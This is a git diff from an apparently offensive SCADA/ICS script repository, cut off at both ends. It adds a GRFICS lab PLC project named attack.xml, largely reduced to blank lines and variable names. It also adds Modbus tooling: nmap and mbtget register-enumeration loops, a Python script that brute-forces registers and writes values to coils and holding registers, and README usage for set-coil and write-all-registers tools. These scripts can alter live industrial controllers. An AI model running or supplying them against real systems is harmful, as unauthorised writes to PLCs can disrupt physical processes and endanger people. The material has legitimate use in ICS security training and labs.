scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 